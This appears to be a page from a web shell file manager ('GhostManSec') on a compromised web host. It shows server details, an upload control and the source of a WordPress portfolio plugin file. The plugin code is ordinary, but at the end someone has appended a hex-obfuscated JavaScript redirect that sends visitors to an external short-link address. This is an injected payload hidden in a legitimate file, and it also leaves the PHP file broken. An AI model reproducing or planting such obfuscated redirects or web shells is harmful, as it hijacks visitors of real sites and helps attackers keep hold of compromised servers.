GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/dnd.com/dnd/wp-content/plugins/swp-portfolio/inc/class-swp-portfolio-init.php
<?php
/**
 * @package portfolio builder
 * @sicne 1.0.0
 * */

if ( ! class_exists( 'Swp_Portfolio_Init' ) ) {

	class Swp_Portfolio_Init {

		//instance
		protected static $instance;

		public function __construct() {
			//plugin_assets
			add_action( 'wp_enqueue_scripts', array( $this, 'plugin_assets' ), 99 );

			//load plugin dependency files
			$this->load_plugin_dependency_files();
		}



		/**
		 * plugin_assets()
		 * @since 1.0.0
		 * */
		public function plugin_assets() {
			$this->load_plugin_css();
			$this->load_plugin_js();
		}

		/*
		*ele blog default font
		*/
		public static function swp_portfolio_fonts_url() {
			$fonts_url = '';
			$font_families = array();

			if ( 'off' !== esc_html_x( 'on', 'Google font: on or off', 'swp-portfolio' ) ) :
				$font_families[] = 'Inter:300,400,500,600,700&display=swap';
				$font_families[] = 'Rubik:400,400i,500,600,700,800display=swap';
				$query_args = array(
					'family'  => urlencode( implode( '|', $font_families ) ),
					'display' => 'swap',
				);
				$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
			endif;

			return esc_url_raw( $fonts_url );
		}


		/**
		 * load plugin css
		 * @since 1.0.0
		 * */
		public function load_plugin_css() {

			wp_enqueue_style( 'swp-portfolio-font', self::swp_portfolio_fonts_url(), array(), SWP_PORTFOLIO_VERSION, 'all');
			wp_enqueue_style( 'swp-grid', SWP_PORTFOLIO_CSS.'/swp-grid.css',array(), SWP_PORTFOLIO_VERSION, 'all');
		    wp_enqueue_style( 'magnific', SWP_PORTFOLIO_CSS.'/magnific.min.css',array(), SWP_PORTFOLIO_VERSION, 'all');
		    wp_enqueue_style( 'owl', SWP_PORTFOLIO_CSS.'/owl.min.css',array(), SWP_PORTFOLIO_VERSION, 'all');
		    wp_enqueue_style( 'fontawesome', SWP_PORTFOLIO_CSS.'/fontawesome.min.css',array(), SWP_PORTFOLIO_VERSION, 'all');
		    wp_enqueue_style( 'swp-global', SWP_PORTFOLIO_CSS.'/swp-global.css',array(), SWP_PORTFOLIO_VERSION, 'all');
		    wp_enqueue_style( 'swp-portfolio-main', SWP_PORTFOLIO_CSS.'/swp-styles.css',array(), SWP_PORTFOLIO_VERSION, 'all');


		}

		/**
		 * load plugin js
		 * @since 1.0.0
		 * */
		public function load_plugin_js() {

			wp_enqueue_script( 'owl-carousel', SWP_PORTFOLIO_JS.'/owl.carousel.min.js',array( 'jquery' ), SWP_PORTFOLIO_VERSION, true);
			wp_enqueue_script( 'imagesloaded', SWP_PORTFOLIO_JS.'/imagesloaded.pkgd.min.js',array( 'jquery' ), SWP_PORTFOLIO_VERSION, true);
		    wp_enqueue_script( 'magnific', SWP_PORTFOLIO_JS.'/magnific.min.js',array( 'jquery' ), SWP_PORTFOLIO_VERSION, true);
		    wp_enqueue_script( 'isotope', SWP_PORTFOLIO_JS.'/isotope.pkgd.min.js',array( 'jquery' ), SWP_PORTFOLIO_VERSION, true);
		    wp_enqueue_script( 'swp-main', SWP_PORTFOLIO_JS.'/swp-main.js',array( 'jquery' ), SWP_PORTFOLIO_VERSION, true);
		    wp_enqueue_script( 'swp-portfolio-elementor-script', SWP_PORTFOLIO_JS.'/elementor-script.js',array( 'jquery' ), SWP_PORTFOLIO_VERSION, true);
			wp_localize_script( 'swp-portfolio-elementor-script', 'swp_portfolio_localize', array( 'ajax_url' => admin_url('admin-ajax.php') ) );

		}


		/**
		 * load_plugin_dependency_files()
		 * @since 1.0.0
		 * */
		public function load_plugin_dependency_files() {

			if( ! class_exists( 'CSF' ) ){
				require SWP_PORTFOLIO_ROOT_PATH.'/lib/codestar-framework/codestar-framework.php';
			}

			$includes_files = array(				
				array(
					'file-name' => 'admin/class-custom-post-type',
					'file-path' => SWP_PORTFOLIO_ROOT_PATH
				),				
				array(
					'file-name' => 'admin/post-meta',
					'file-path' => SWP_PORTFOLIO_ROOT_PATH
				),				
				array(
					'file-name' => 'admin/class-custom-taxonomy',
					'file-path' => SWP_PORTFOLIO_ROOT_PATH
				),				
				array(
					'file-name' => 'swp-portfolio-elementor-widgets-init',
					'file-path' => SWP_PORTFOLIO_ELEMENTOR
				),				
				array(
					'file-name' => 'functions',
					'file-path' => SWP_PORTFOLIO_INC
				),
			);
			if ( is_array( $includes_files ) && ! empty( $includes_files ) ) {
				foreach ( $includes_files as $file ) {
					if ( file_exists( $file['file-path'] . '/' . $file['file-name'] . '.php' ) ) {
						require $file['file-path'] . '/' . $file['file-name'] . '.php';
					}
				}
			}

		}

	}//end class

	new Swp_Portfolio_Init();
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>